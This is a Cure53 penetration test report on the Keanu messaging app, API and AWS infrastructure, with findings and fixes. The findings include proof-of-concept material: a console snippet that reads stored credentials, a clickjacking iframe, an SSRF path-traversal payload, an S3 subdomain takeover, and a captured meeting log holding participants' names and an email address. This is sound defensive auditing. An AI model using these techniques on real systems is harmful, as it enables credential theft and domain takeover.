Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report Keanu Messaging UI & API 04.2021

Cure53, Dr.-Ing. M. Heiderich, MSc. S. Moritz, N. Hippert, M. Garrett

Index

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Introduction

“Keanu is in the Matrix... well, not that Keanu, and not that Matrix :P Clients, Libraries, Platform, encrypted by default built-in censorship resistance enhanced on-device security offline, nearby communication and sharing.”

From https://gitlab.com/keanuapp

This report describes the results of a security assessment targeting the Keanu complex. More specifically, Cure53 carried out a penetration test and source code audit against the Keanu messaging web application, its mobile parts, as well as API and server.

To place this assessment in context, it can be clarified that the work was requested by Oliver+Coady, Inc. in mid-March 2021. It was then scheduled and punctually carried out by Cure53 in mid-April 2021, namely in CW16. In terms of resources, a total of twelve days were invested to reach the coverage expected for this project and a team of four senior testers has been tasked with this project’s preparation, execution and finalization on the Cure53’s end.

For optimal structured and coverage tracking, the work was split into three separate work packages (WPs) as follows:

- **WP1**: Source-Code-assisted Penetration-Tests against Keanu Messaging UI
- **WP2**: Source-Code-assisted Penetration-Tests against Keanu Backend & API
- **WP3**: White-Box Infrastructure-Review and external Server-side Penetration-Test

The so-called white-box methodology was chosen for this project. Cure53 was given access to all relevant sources, most of which are available as open source software on Gitlab. Further furnished were several environments Cure53 could test against; these were seen as reference environments. In addition, Cure53 got access to API documents and other test-supporting material. The overarching aim was to ensure good depth and breadth of coverage.

All preparations were done in early April, namely in CW15, thus enabling a smooth start in the actual testing week. Although the environment data was shared in early CW16, all sources and docs have been ready before that. Throughout the project, communications between Cure53 and the Keanu maintainers were done using a dedicated and private Matrix channel on the Element platform. This space was created by Cure53 and then joined by relevant team members of the Keanu developer team as well.

The discussions and exchanges were very efficient. Not many questions had to be asked, since the scope was well prepared and clear; no noteworthy roadblocks were

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

encountered during the test. Cure53 offered frequent status updates about the test and the emerging findings. Live-reporting was not requested on the whole, yet carried out for one finding, which will be mentioned below.

The Cure53 team managed to get very good coverage over the WP1-3 scope items. Eleven security-relevant findings were documented: six classified to be security vulnerabilities and five noted as general weaknesses with lower exploitation potential.

Note that one finding was given a *Critical*-risk score, as it would mean that an attacker can take over one of the Keanu-related subdomains. From there, additional damage potential would have been made exploitable. All other findings were situated in the realm of *Medium* and lower-impact flaws. It is important to underline that the *Critical* issue was not only live-reported, but also fixed by the Keanu team while the test was still ongoing.

In the following sections, the report will first shed light on the scope and key test parameters, as well as the structure and content of the WPs. Next, all findings will be discussed in grouped vulnerability and miscellaneous categories, then following a chronological order in each group. Alongside technical descriptions, PoC and mitigation advice are supplied when applicable. Finally, the report will close with broader conclusions about this April 2021 project. Cure53 elaborates on the general impressions and reiterates the verdict based on the testing team’s observations and collected evidence. Tailored hardening recommendations for the Keanu complex are also incorporated into the final section.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Scope

- **Code-assisted Penetration Tests & Audits against Keanu Messaging App & API**
  - **WP1**: Code-assisted Penetration-Tests against Keanu Messaging Web UI
    - Test target:
      - https://letsconvene.im/
    - Sources:
      - https://gitlab.com/keanuapp/keanuapp-weblite
    - Specific tag in scope:
      - https://gitlab.com/keanuapp/keanuapp-weblite/-/tree/0.0.1-beta
  - **WP2**: Code-assisted Penetration-Tests against Keanu Web Backend & API
    - See above
  - **WP3**: White-Box Infrastructure-Review and external Server-side Penetration-Test
    - In key scope:
      - **.keanu.im*
    - AWS Console Access:
      - https://guardianproject.awsapps.com/start
    - Terraform Modules:
      - https://gitlab.com/keanuapp/keanu-ops/-/tree/master/environments/prod-neo.keanu.im
      - https://gitlab.com/keanuapp/keanu-terraform-modules
  - **Test-Accounts were provided for Cure53:**
    - U: c53one@gpcmdln.net
    - U: c53two@gpcmdln.net
    - U: c53three@gpcmdln.net
  - **Documentation used during this assessment**
    - https://docs.keanu.im/backend/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *KNU-01-001*) for the purpose of facilitating any future follow-up correspondence.

KNU-01-002 WP1: User-password and token persisted in *localStorage* *(Low)*

It was found that the Keanu web application on *letsconvene.im* does not handle user-credentials properly within the browser, making it prone to several local attack scenarios. The application stores user-credentials and the user's token within the HTML5 *localStorage* which remains available despite the browser getting closed.

This allows local attackers to obtain the stored credentials and the token from previously authenticated users, even if the browser was terminated. However, the user-credentials are only stored locally if a "dummy" account was generated from the web app via the */_matrix/client/r0/register* endpoint, hence the issue was rated as *Low*. However, with these credentials local attackers would be able to see chat history and alter messages sent to the channels they have joined.

PoC, e.g., via developer console:

```
a=JSON.parse(localStorage.getItem('tempuser'));console.log('User: '+a.user_id+'\
nPass: '+a.password)
```

Please note that the token of an authenticated user is also stored within the *localStorage*, even if the account was not created via the web app.

Steps to reproduce:

1. Logout from https://letsconvene.im/app/#/.
2. Open https://letsconvene.im/app/#/join/%23voxpopuli:matrix.org to generate a new account.
3. Execute the PoC from above to retrieve the credentials.

It is recommended not to store sensitive data - such as user-credentials and tokens - in the *localStorage*[1]. Instead, it is advised to use the HTML5 *sessionStorage* which stores data only for the current browser session. Thus, the data is deleted when the browser gets closed and local attackers have no access to the previously stored data in a new browser session.

[1] https://dev.to/rdegges/please-stop-using-local-storage-1i04

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

KNU-01-004 WP3: Insecure Jitsi Meet configuration allows participation *(Medium)*

During the examination of the exposed infrastructure, a running Jitsi Meet instance was found to be configured insecurely. This weakness could be leveraged by adversaries to create new rooms. In effect, they could start using this service for free. In addition, attackers might heavily increase the bandwidth usage to generate financial damage.

Moreover, it was possible to join an unprotected meeting already in progress and obtain information that included IDs, some audio output and names of participants etc. This is presented next.

Example PoC:
https://meet.keanu.im/keanu

Recorded Excerpt:

```
<body xmlns:stream='http://etherx.jabber.org/streams'
xmlns='http://jabber.org/protocol/httpbind' sid='f4f60698-2f88-4027-9018-
8769c38bde05'><presence from='keanu@conference.meet.keanu.im/4342fda3'
xmlns='jabber:client' to='okcb_3up2ncociz2@meet.keanu.im/XqQXK15T'><stats-
id>Aiden-Jdd</stats-id><region xmlns='http://jitsi.org/jitsi-meet' id='eu-
central-1'/><c ver='ZYz/Bk0YZmQuoeSFs25VOxJYXf4=' hash='sha-1'
xmlns='http://jabber.org/protocol/caps'
node='http://jitsi.org/jitsimeet'/><features><feature
var='https://jitsi.org/meet/e2ee'/></features><jitsi_participant_region>eu-
central-1</jitsi_participant_region><nick
xmlns='http://jabber.org/protocol/nick'>Micke</nick><jitsi_participant_e2ee.idKe
y>tidV0Y/7/KhpUN8cMk3OiGVqTOhMcCjVtagOolcvnQA</
jitsi_participant_e2ee.idKey><audiomuted
xmlns='http://jitsi.org/jitmeet/audio'>false</audiomuted><videoType
xmlns='http://jitsi.org/jitmeet/video'>camera</videoType><videomuted
xmlns='http://jitsi.org/jitmeet/video'>false</videomuted><x xmlns='vcard-
temp:x:update'><photo/></x><x xmlns='http://jabber.org/protocol/muc#user'><item
role='moderator' jid='brkq4dcskqwxewym@meet.keanu.im/dxQC_Bgy'
affiliation='owner'/>
[...]
<jitsi_participant_region>eu-central-1</
jitsi_participant_region><email>be@benjaminerhart.com</email><nick
xmlns='http://jabber.org/protocol/nick'>Benjamin</nick><jitsi_participant_e2ee.i
dKey>09/UPVyUO4DqKKN7H0Yk8wL1kUdittoq62XX3ZWcxRc</
jitsi_participant_e2ee.idKey><audiomuted
xmlns='http://jitsi.org/jitmeet/audio'>false</audiomuted><videoType
xmlns='http://jitsi.org/jitmeet/video'>camera</videoType><videomuted
xmlns='http://jitsi.org/jitmeet/video'>false</videomuted><x xmlns='vcard-
temp:x:update'><photo/></x><x xmlns='http://jabber.org/protocol/muc#user'><item
role='participant' jid='sr9x4zatgslt-wij@meet.keanu.im/f2qckCSZ'
affiliation='none'/></x>
[...]
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

It is recommended to protect easily guessable room names with a password. Furthermore, it is also advised to introduce an additional step of authentication during room creation. This can be done via configuring a new user in *prosody*[2].

KNU-01-005 WP2: Stored XSS via *upload* on MSIE *(Low)*

It was found that the provided Matrix server on *neo.keanu.im* suffers from an XSS vulnerability. Each uploaded file is provided by the server with the "*Content-Disposition: inline*" header, which allows to render HTML-related content directly in the browser, e.g. in terms of HTML, SVG or PDF files. At the time of writing, the deployed CSP header on the host does not support the execution of inline or external JavaScript, which prevents XSS attacks in the latest browsers.

However, MSIE does not support the CSP header, which means that JavaScript can be executed via malicious files. Attackers might leverage this weakness to steal user's cookies related to other subdomains via sending malicious links to clients who rely on the old MSIE.

PoC (via MSIE):
https://neo.keanu.im/_matrix/media/r0/download/neo.keanu.im/YzLUPbSYuDVxfsFYUfxZZDNa

It is recommended to disallow client rendering of HTML-related content that originated from uploaded files directly in the browser. Instead, it is advised to show the "*Save as…*" dialog for all downloadable files. This can be achieved via returning the *attachment* parameter in the *Content-Disposition* header[3].

KNU-01-006 WP3: Subdomain takeover via dead S3 bucket *(Critical)*

The domain *keanu.im* was examined for potential new targets. Here it was found that the subdomain *web.dev.keanu.im* points to a dead S3 bucket (see below). The targeted bucket with the name *web.dev.keanu.im* is not registered at AWS and means one can register this bucket to host their own files on the affected subdomain.

The flaw indicates that attackers could start Phishing campaigns running on the trustworthy *web.dev.keanu.im* domain or use this to attack other web applications on subdomains sharing the same domain origin of *keanu.im*, with the goal of stealing cookies or alike.

[2] https://jitsi.github.io/handbook/docs/devops-guide/secure-domain
[3] https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Dispos...er_for_the_main_body

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Affected Request:

```
GET / HTTP/1.1
Host: web.dev.keanu.im
[...]
```

Response:

```
HTTP/1.1 404 Not Found
Server: AmazonS3
[...]
<Message>The specified bucket does not
exist</Message><BucketName>web.dev.keanu.im</BucketName>
[...]
```

The following PoC shows how Cure53 was able to upload own files to the acquired S3 bucket.

PoC which runs a short Cure53 demo:
https://web.dev.keanu.im/poc.html

It is strongly recommended to introduce an additional step of verification that regularly checks configured routes to AWS for incorrect entries. If incorrect entries occur, they should be removed or the AWS target should be re-registered accordingly. Especially when using cloud providers, such checks need to be performed regularly.

Fix Note: *This issue was fixed by the Guardian Project team during the testing phase and the fix was verified by Cure53.*

KNU-01-007 WP1,2: Missing *X-Frame-Options* permits Clickjacking *(Medium)*

During the assessment of the Keanu web application, the discovery was made that the application is prone to Clickjacking[4] attacks due to an absent *X-Frame-Options* header. This means attackers can embed pages via an *iframe* and overlay them with attacker-controlled content. Therefore, users may be tricked into clicking on alternative content rather than what they actually intended to view, e.g. buttons to delete content. Due to this possibility, the problem has been rated as *Medium*.

Example Request:

```
GET /app/ HTTP/1.1
Host: letsconvene.im
[...]
```

[4] https://portswigger.net/web-security/clickjacking

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Response (*X-Frame-Options* missing):

```
HTTP/1.1 200 OK
Date: Wed, 21 Apr 2021 11:25:59 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: __cfduid=dcf2fd33fc720a2694fb98464aef829ef1619004358; expires=Fri,
21-May-21 11:25:58 GMT; path=/; domain=.letsconvene.im; HttpOnly; SameSite=Lax
Cache-Control: max-age=600
Expires: Wed, 21 Apr 2021 11:35:59 UTC
Vary: Origin
CF-Cache-Status: DYNAMIC
cf-request-id: 0995c717f300000c1108bf7000000001
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-
cgi/beacon/expect-ct"
Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/
a.nel.cloudflare.com\/report?s=3HZ2FCE96ohlzuZrs8IWsllmIO
%2FUBJcH5pm3QZbmhwhsb1ovACvr0SGgE3cBfXNRIExEIk7GjCvH5NcdrbkPgrwMeSP3LPJ
%2BD5AVVGsYdQ%3D%3D"}]}
NEL: {"max_age":604800,"report_to":"cf-nel"}
Server: cloudflare
CF-RAY: 6436413988800c11-AMS
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400
Content-Length: 1389
```

PoC:

```
<iframe style="width:100%;height:100%;opacity:0.2"
src="https://letsconvene.im/app/#/room/!duSlATWFWIumvGUaml:neo.keanu.im"></
iframe>
```

Steps to reproduce:

1. Prepare an HTML file with the provided PoC and host it on a server.
2. Open a browser and log in on https://letsconvene.im/app/#/login.
3. Open the HTML file in a second tab.

To deter this type of attack, it is recommended to include the *X-Frame-Options: DENY* header in all responses originating from *letsconvene.im*. In addition, it is also advised to offer the *Content-Security-Policy: frame-ancestors 'none';* header. Please refer to the guidance provided in KNU-01-001 for more information.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

KNU-01-008 WP2: SSRF related to missing allow-list on Federation server *(Low)*

The general approach of the architecture in the Matrix homeservers is designed to be able to communicate with any other Matrix server. This is done via the Federation API, which enables sending and receiving content, e.g., to query profiles and present information about users on each other's servers. However, the API can also be used to force the server to request files from other external servers if no additional restrictions are in place.

As a consequence, attackers can point to servers they own so as to share malicious files with clients. This could mean that some implemented upload filters get bypassed. However, it must be noted that forcing the homeserver to point to local, hidden endpoints, is restricted by Synapse by default via an IP range blocklist. In addition, Synapse only establishes a connection to servers providing a valid TLS certificate. This prohibits endpoints that are only accessible via the HTTP protocol from being queried, which ultimately prevents leakage of the juicy AWS metadata via http://169.254.169.254/* or similar.

The following affected code parts show how a federated server allow-list is configured but does not work correctly.

Affected File:
keanu-terraform-modules-master/matrix-stack/synapse.tf

Affected Code:
```
resource "aws_ssm_parameter" "synapse__federation_domain_whitelist" {
  count     = length(var.federation_domain_whitelist)
  name      = "${local.ssm_prefix_synapse}/federation_domain_whitelist/$
{count.index}"
  value     = element(var.federation_domain_whitelist, count.index)
  type      = "String"
  overwrite = true
}
```

PoC File (*.well-known/matrix/server*):
```
{ "m.server": "<your server>:443" }
```

Final PoC:
https://neo.keanu.im/_matrix/media/r0/download/yak0n.github.io/..%2f..%2f..%2f..%2f..%2fpoc.exe

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Steps to reproduce:

1. Upload the *PoC File* from above to your server. Please note that a valid TLS certificate must be deployed, otherwise Synapse will not establish a connection to it. If you do not have such a server or certificate, you can use *ngrok*[5] which provides it out-of-the-box.
2. Upload a malicious file you want to share to the server.
3. Add the server and the malicious file to the download URL: https://neo.keanu.im/_matrix/media/r0/download/<your server>/..%2f..%2f..%2f..%2f..%2f<filename>
4. Synapse will first fetch the *.well-known/matrix/server* file from your attacker-server and make a second download request to the server defined in the *.well-known* file (they can be the same). Please note that "*..%2f*" is used to traverse up the path to download a file located in the root directory of your server.

It is recommended to introduce a proper allow-list of Federation servers with which the application is permitted to communicate. This can be achieved by adding a list of accepted domains to the *config* variable *federation_domain_whitelist*[6]. The approach will prevent forcing the homeserver into sending requests to various attacker-controlled servers.

[5] https://ngrok.com/
[6] https://github.com/matrix-org/synapse/blob/develop/synapse/config/federation.py#L57

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

KNU-01-001 WP1,2: General HTTP security headers missing *(Medium)*

It was found that the Keanu web application on *letsconvene.im* is missing certain HTTP security headers in HTTP responses. This does not directly lead to a security issue, yet it might aid attackers in their efforts to exploit other problems.

Example request:

```
GET /app/ HTTP/1.1
Host: letsconvene.im
[...]
```

Affected response:

```
HTTP/1.1 200 OK
Date: Fri, 23 Apr 2021 09:21:58 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=600
Expires: Fri, 23 Apr 2021 09:31:58 UTC
Vary: Origin
CF-Cache-Status: DYNAMIC
cf-request-id: 099fa246de00009c2d122f1000000001
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-
cgi/beacon/expect-ct"
Report-To:
{"max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?
s=Kte1o1id3%2BhWhOdb4Wl42Ur60B2LXn2PjgrMoA2vVoHq4Ukx2E0QHY72Fwm4VFI3kEtc55%2FAOO
tjyBA1lDXbFVN23tqQa3sg5cFyusO8CA%3D%3D"}],"group":"cf-nel"}
NEL: {"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 644606516ba89c2d-AMS
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400
Content-Length: 1389
```

The following list enumerates the headers that need to be reviewed to prevent flaws relating to headers:

- **X-Frame-Options**: This header specifies whether the web page is allowed to be framed. Although this header is known to prevent Clickjacking attacks, there are

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

many other attacks which can be achieved when a web page is frameable[7]. It is recommended to set the value to either **SAMEORIGIN** or **DENY**.

- Note that the CSP framework offers similar protection to *X-Frame-Options* in ways that overcome some of the shortcomings of the aforementioned header. To optimally protect users of older browsers and modern browsers at the same time, it is recommended to consider deploying the *Content-Security-Policy: frame-ancestors 'none';* header as well.
- **X-Content-Type-Options**: This header determines whether the browser should perform MIME Sniffing on the resource. The most common attack abusing the lack of this header is tricking the browser to render a resource as an HTML document, effectively leading to Cross-Site-Scripting (XSS).
- **X-XSS-Protection**: This header specifies if the browser's built-in XSS auditors should be activated (enabled by default). Not only does setting this header prevent Reflected XSS, but also helps to avoid the attacks abusing the issues on the XSS auditor itself with false-positives, e.g. Universal XSS[8] and similar. It is recommended to set the value to either **0** or **1; mode=block**. Note that most modern browsers have stopped supporting XSS filters in general, so this header is only relevant in case older browsers are supported by the web application in scope.
- **Strict-Transport-Security**: Without the HSTS header, a MitM could attempt to perform channel downgrade attacks using readily available tools such as *sslstrip*[9]. In this scenario the attacker would proxy clear-text traffic to the victim-user and establish an SSL connection with the targeted website, stripping all cookie security flags if needed. It is recommended to set up the header as follows:

  Strict-Transport-Security: max-age=31536000; includeSubDomains;

Overall, missing security headers is a bad practice that should be avoided. It is recommended to add the following headers to every server response, including error responses like *4xx* items. More broadly, it is recommended to reiterate the importance of having all HTTP headers set at a specific, shared and central place rather than setting them randomly. This should either be handled by a load balancing server or a similar infrastructure. If the latter is not possible, mitigation can be achieved by using the web server configuration and a matching module.

[7] https://cure53.de/xfo-clickjacking.pdf
[8] http://www.slideshare.net/masatokinugawa/xxn-en
[9] https://moxie.org/software/sslstrip/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

KNU-01-003 WP2: Information disclosure via Gemfile artifacts *(Info)*

It was found that the Keanu web application on *letsconvene.im* is shipped with some artifacts, inclusive of used software and version numbers from dependencies. Despite the fact that Ruby may not be running on the server, this is still considered to illustrate a bad practice in production environments because it might help adversaries to leverage this sort of information to perform successful attacks against the complex.

PoC:
https://letsconvene.im/Gemfile.lock
https://letsconvene.im/Gemfile

Response:

```
HTTP/1.1 200 OK
Date: Mon, 19 Apr 2021 12:46:49 GMT
[...]

GEM
  remote: https://rubygems.org/
  specs:
    addressable (2.5.0)
      public_suffix (~> 2.0, >= 2.0.2)
    colorator (1.1.0)
    ffi (1.9.17)
    forwardable-extended (2.6.0)
    jekyll (3.4.0)
      addressable (~> 2.4)
      colorator (~> 1.0)
    [...]

DEPENDENCIES
  jekyll (= 3.4.0)
  tzinfo-data

RUBY VERSION
   ruby 2.3.8p459
[...]
```

It is recommended not to deploy such files to production environments and to implement additional checks in order to eliminate the chance of publishing such information in future releases.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

KNU-01-009 WP3: Instance metadata enabled for EC2 instances *(Medium)*

The configuration attached to EC2 instances was analyzed for insecure defaults with a particular focus on mitigating configurations that would successfully prevent Server-Side Request Forgery (SSRF) attacks against the metadata functionality of EC2.

Configuration Excerpt:

```
"MetadataOptions": {
    "State": "applied",
    "HttpTokens": "optional",
    "HttpPutResponseHopLimit": 1,
    "HttpEndpoint": "enabled"
},
```

Since this attack vector is commonly deployed, AWS has developed additional protection against attacks targeting the metadata service. The IMDSv2[10] server protects the instances from SSRF attacks by implementing a token that can only be obtained by making a specific request using the “HTTP *PUT*” method.

In order to improve the overall security posture and leverage additional defense-in-depth protections on the production environment, it is recommended to enable and configure the new-and-improved metadata service instance.

KNU-01-010 WP3: Missing logging and versioning for SSH key storage *(Info)*

During the review of the Terraform configurations, it was noticed that a special S3 bucket is there to automate the management and storage of SSH public keys. It was noticed that most buckets disable versioning and have no explicit logging configuration, which is not necessary for most data, if not desired. However, there are security concerns relating to access and identity management pertaining to SSH keys that are automatically deployed if changes are made to this bucket. Thus, it can be invaluable to have this possibility in case a post-mortem[11] analysis has to be carried out.

Affected Files:
keanu-ops-master/environments/prod-neo.keanu.im/bastion/main.tf
keanu-ops-master/environments/prod-nang.zom.im/bastion/main.tf

Affected Code:

```
resource "aws_s3_bucket" "ssh_public_keys" {
  #region = "${data.terraform_remote_state.vpc.region}"
  region = "eu-central-1"
  bucket = local.public_keys_bucket
```

[10] https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
[11] https://www.pagerduty.com/resources/learn/incident-postmortem/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
  acl    = "private"
}

resource "aws_s3_bucket_object" "ssh_public_keys" {
  bucket = aws_s3_bucket.ssh_public_keys.bucket
  key    = "${element(local.ssh_public_key_names, count.index)}.pub"

  # Make sure that you put files into correct location and name them accordingly
(`public_keys/{keyname}.pub`)
  source = "../_data/public_keys/${element(local.ssh_public_key_names,
count.index)}.pub"
  etag = filemd5(
    "../_data/public_keys/${element(local.ssh_public_key_names,
count.index)}.pub",
  )
  count = length(local.ssh_public_key_names)

  depends_on = [aws_s3_bucket.ssh_public_keys]
}
```

It is recommended that access logging and versioning is enabled for especially security critical elements, as to provide detailed insight to potential changes that have been made to such storage components.

KNU-01-011 WP1/2: Cross-Origin-related HTTP security headers missing *(Info)*

It was found that the Keanu platform is missing several of the newer[12] Cross-Origin-infoleak-related HTTP security headers in its responses. This does not directly lead to a security issue, yet it might aid attackers in their efforts to exploit other problems, such as for example issues relating to the Spectre attack[13]. The following list enumerates the headers that need to be reviewed to prevent flaws linked to headers.

- **Cross-Origin Resource Policy (CORP)** and *Fetch Metadata Request* headers allow developers to control which sites can embed their resources, such as images or scripts. They prevent data from being delivered to an attacker-controlled browser-renderer process, as seen in *resourcepolicy.fyi* and *web.dev/fetch-metadata*.
- **Cross-Origin Opener Policy (COOP)** lets developers ensure that their application window will not receive unexpected interactions from other websites, allowing the browser to isolate it in its own process. This adds an important process-level protection, particularly in browsers which do not enable full Site Isolation; see *web.dev/coop-coep.*

[12] https://security.googleblog.com/2020/07/towards-native-security-defenses-for.html
[13] https://meltdownattack.com/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

- **Cross-Origin Embedder Policy (COEP)** ensures that any authenticated resources requested by the application have explicitly opted-in to being loaded. Today, to guarantee process-level isolation for highly sensitive applications in Chrome or Firefox, applications must enable both COEP and COOP; see *web.dev/coop-coep.*

Overall, missing Cross-Origin security headers can be considered a bad practice that should be avoided in times where attacks such as Spectre are known to be well-exploitable and code facilitating abuse is publicly available. It is recommended to add the aforementioned headers to every relevant server response. Resources explaining those headers are available online, explaining both the proper header setup[14] as well as the possible consequences of not setting them after all[15].

[14] https://scotthelme.co.uk/coop-and-coep/
[15] https://web.dev/coop-coep/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Conclusions

Four members of the Cure53 investigated the Keanu Messaging web application, its mobile parts as well as API & server over the course of twelve days in April 2021. Based on the investigation of both client- and server-side parts of the deployed Keanu web application complex, the corresponding configuration and the exposed infrastructure, Cure53 can conclude this project with somewhat mixed results. On the one hand, the presence of the *Critical*-ranking issue should not be disregarded. On the other hand, even though eleven issues were found during the audit, only six of them were actually exploitable and five can be considered as hardening recommendations and/or best practices.

The examined Keanu complex is built of two main parts: the client-side application, which was mainly developed by the Guardian Project team, and the server-side parts, which are running on AWS environments, a Matrix homeserver and other services, all configured and deployed primarily with Terraform. Therefore, the basic idea behind the Cure53 investigation of the Keanu web application was to find out whether the existing functionality of the connected endpoints and its environment can be deemed healthy enough to withstand attacks by malicious users.

First up, with the focus on typical modern application problems, the issues connected with various types of injection attacks and misconfigurations, which could compromise the server part of the application, were investigated without significant success.

Secondly, the problems connected with various types of attacks, which could compromise the client-side part of the platform, were also investigated by Cure53 in considerable depth. The application's functionality was investigated for the presence of XSS attacks and similar input-manipulation issues but no problems transpired. Only one lower XSS issue was found, which is exploitable in older browsers that do not support the *Content Security Policy* header, such as MSIE (see KNU-01-005).

However, the test-target makes a stable impression on the client-side, which is also a quite uncommonly found positive indicator. This results not only from the deployed CSP header, but also from the correct rendering of user-content, having it encoded in the right context of the application. Moreover, it can be attributed to proper usage of modern technologies such as *Vue.js*.

Nevertheless, it was found that the application is missing some important security headers, which unnecessarily weakens the client-side parts of the application and may foster Clickjacking (see KNU-01-001, KNU-01-007 and KNU-01-011).

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The examined server-side parts to which the frontend is communicating, leave also a strong impression. One SSRF issue was found, which allows attackers to force the Synapse homeserver to make requests to arbitrary locations, such as external servers, and to bypass some implemented upload filters (see KNU-01-008). However, Cure53 verified that local hidden endpoints cannot be queried via this issue. Nevertheless, it is recommended to introduce a proper allow-list in order to stop establishing connections to arbitrary servers.

Cure53 also had a closer look to the exposed infrastructure and servers that are running on the *keanu.im* domain. At the beginning, the entire domain was searched for valid subdomains in order to find attractive attack targets. The attack surface is composed of only seven running servers, which Cure53 examined in-depth.

As a result, at the time of investigation, the server on *web.dev.keanu.im* pointed to a dead S3 bucket, which allowed Cure53 to take over the non-existing bucket name via an own AWS account (see KNU-01-006). This meant Cure53 could host files on the affected domain and, as a consequence, could start imaginative Phishing attacks or steal cookies related to the domain's scope. After the issue was reported, the Guardian Project team has shut down the domain completely. The S3 bucket was then unblocked by Cure53 in coordination with the project team in order to avoid a subsequent takeover.

Moreover, Cure53 also found an insecurely configured Jitsi Meet application hosted on *meet.keanu.im*. Due to a missing configured authentication during room creation, adversaries could leverage this weakness to do effectuate financial damage or use this service for free. Therefore, it is recommended to protect the Jitsi Meet instance with a user and password (see KNU-01-004).

The overall configuration of the examined Terraform scripts and running AWS services made a good impression. Many pitfalls usually found have been properly addressed via good Terraform configurations. However, it was noted that a specific configuration item did not translate to the environment that had been tested (see KNU-01-008).

As Cure53 did not get access to the production AWS environment, it could neither be verified if the actual configurations in place are different to the ones depicted in the Terraform files, nor if any stale configurations might undermine the security status that is depicted by the repositories that Cure53 had actually inspected. At the same time, great care has been taken with the management of secrets needed in configuration files, which have been pushed into a separate private repo. All secrets have been properly encrypted, following the best practices that are recommended today.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

It is recommended that tools like *tfsec*[16] and *checkov*[17] are integrated into the build process to catch potential misconfigurations early. However, due to the nature of externalized variable names and general structural differences caused by the use of certain plugins, special rules or exclusions have to be made. This was aimed at preventing false positive fatigue[18].

All in all, despite one *Critical* finding, the security posture of the examined areas leaves a mostly solid impression, proving robust across various tested areas. Cure53 more broadly confirmed during this April 2021 project that the deployed complex has the capacity to fend off many different attacks. This clearly shows that the Guardian Project team is aware of the problems that web applications tend to face. In addition, it must be said that this result also stems from the correct usage of open-source software, such as Matrix Synapse. This is a good design decision, which prevents many attacks tried during the audit by default.

Major weaknesses in the exposed infrastructure, which yielded four issues and also shows that there is still room for improvement in this realm. Especially the absence of repetitive checks to validate running instances leads to severe problems, here enveloped in the *Critical* flaw. Care should be taken to avoid such problems in future releases via newly introduced checks. Praise should be issued in regard to the low number of findings related to the examined client-side parts of the Keanu web application developed by the Guardian project team. This is a good sign and underlines the impression about excellent in-house skills that Cure53 gathered. After fixing the relevant issues, the Keanu application can be seen as properly secured for production use and capable of delivering a secure foundation.

Cure53 would like to thank Nathan Freitas from the Guardian Project team as well as Abel and Irl from the Keanu team for their excellent project coordination, support and assistance, both before and during this assignment.

[16] https://tfsec.dev/
[17] https://www.checkov.io/
[18] https://www.reliaquest.com/